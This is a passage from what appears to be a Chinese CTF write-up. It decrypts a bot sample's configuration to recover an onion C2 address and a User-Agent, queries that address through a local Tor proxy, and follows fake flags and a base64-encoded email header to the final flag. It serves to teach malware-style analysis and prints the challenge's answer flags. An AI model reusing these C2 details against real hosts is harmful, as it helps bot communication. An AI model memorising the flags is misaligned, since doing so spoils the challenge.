8
0xAB, 0x80, 0x05, 0x4B, 0xE0, 0x0A, 0x84, 0x9D, 0x2C, 0x1E, 
0xC3, 0xEA, 0x79, 0x0B, 0x55, 0x0D, 0x24, 0x08, 0x26, 0xD0,
0x41, 0x8F, 0x33, 0x0A, 0xEE, 0xB4, 0xB4, 0x1F, 0x99, 0x47,
0x5C, 0x2B, 0xFA, 0x5E, 0xF5, 0xFD, 0xF3, 0xE9, 0x85, 0x3B,
0xEC, 0x7A, 0x64, 0xD7, 0xEA, 0x14, 0x7D, 0x8E, 0xFB, 0x20,
0x70, 0x73, 0x5D, 0xD6, 0x5F, 0x63, 0x13, 0x5B, 0xF1, 0xB0,
0x64, 0xC2, 0x10, 0x6C, 0xC1, 0xB1, 0x4B, 0x72, 0xB7, 0x51,
0x83, 0x73

解密得到URL:http://w72fshce2bvewxwdeh5252eq2rwnxyli56om7qasctcwhekhyhjouwyd.onion

0x4A4130这边有24字节:

1
2
3
0xEB, 0x3E, 0x70, 0x5C, 0x8A, 0x8D, 0xED, 0x9C, 0x8F, 0x54, 
0xC9, 0x26, 0x71, 0x73, 0xA6, 0x96, 0xD4, 0x7E, 0x46, 0xBE,
0x0C, 0xAD, 0xCA, 0x23

解密得到User-Agent:TKKC-Bot-Agent/%s

4,发请求到127.0.0.1:9050

![](2025 TKKCTF/1765197269826-300d7258-9d61-47d1-ab39-74687f042ce1.png)

这边是直接明文写的,一些很基础的请求结构

1
2
3
4
GET /{path} HTTP/1.0
Host: {onion_address}
User-Agent: TKKC-Bot-Agent/{version}
Connection: close

我们看到了URL是onion结尾的,所以这个地方其实用到了Tor隐藏

![](2025 TKKCTF/1765200612355-3b9de193-214a-4fd7-af58-be7a03694daf.png)

建立一下Tor连接,连接完之后才能进行下一步

根据刚刚得到的User-Agent,我们得到了这样子一串十六进制

1
20583e28300b1e2a014a5f416f73476b720023781c66781c2679026f665d6b72107f39285a7807264f44446d476b4c38147a2d720855174b5b574f

用刚刚得到的那个Key进行异或,得到了一串flag

![](2025 TKKCTF/1765201093094-a34f2fb6-d327-4a1e-b8ba-ad371145c8ef.png)

xujc{H3ad3rs_Ar3_Th3_K3y_T0_Th3_D4rkw3b_bvt_r3al_1n_C0nfig}

但是是假的

这一串leet提示了真正的flag在config里

我们加上/config路径

1
20583e28300b1e2a014a5f416f73476b720023781c66781c2679026f665d6b72107f39285a7807264f44446d476b4c38147a2d7278284d1c5e4d

![](2025 TKKCTF/1765201277194-33701c15-901d-4407-9c12-3b714ff0ae63.png)

同样的手段得到xujc{H3ad3rs_Ar3_Th3_K3y_T0_Th3_D4rkw3b_bvt_r3al_1n_3M41l}

还是错的,说在/email,但是这次直接看没有

我们另存为HAR

https://github.com/PureWaterSun/har-analyzer

运用一下这个工具

![](2025 TKKCTF/1765201547857-b23c4992-1a42-4dcc-a542-7559875af2ab.png)

可以看到X-Emergency-Contact这边有一串字符串

dGtrY19zaGFkb3dfb3BzXzg4QHlvcG1haWwuY29t

base64解码一下

![](2025 TKKCTF/1765201588815-55e73f5a-68dd-487d-84f9-94602c79be3f.png)

得到了邮箱地址

https://yopmail.com/zh/

![](2025 TKKCTF/1765201609324-bff03271-2de1-4a94-b2d7-0e10d1f6df73.png)

给邮箱地址是一个临时地址

![](2025 TKKCTF/1765201637293-a51dddf6-0253-4594-826f-d743af675a2f.png)

点开我们终于得到了flag

xujc{R3sp0ns3_H3ad3rs_L3ak_Th3_Tru7h}


2025TKKCTF
https://mei-you-qian.github.io/2025/12/09/2025 TKKCTF/
作者
Meiyouqian
发布于
2025年12月9日
许可协议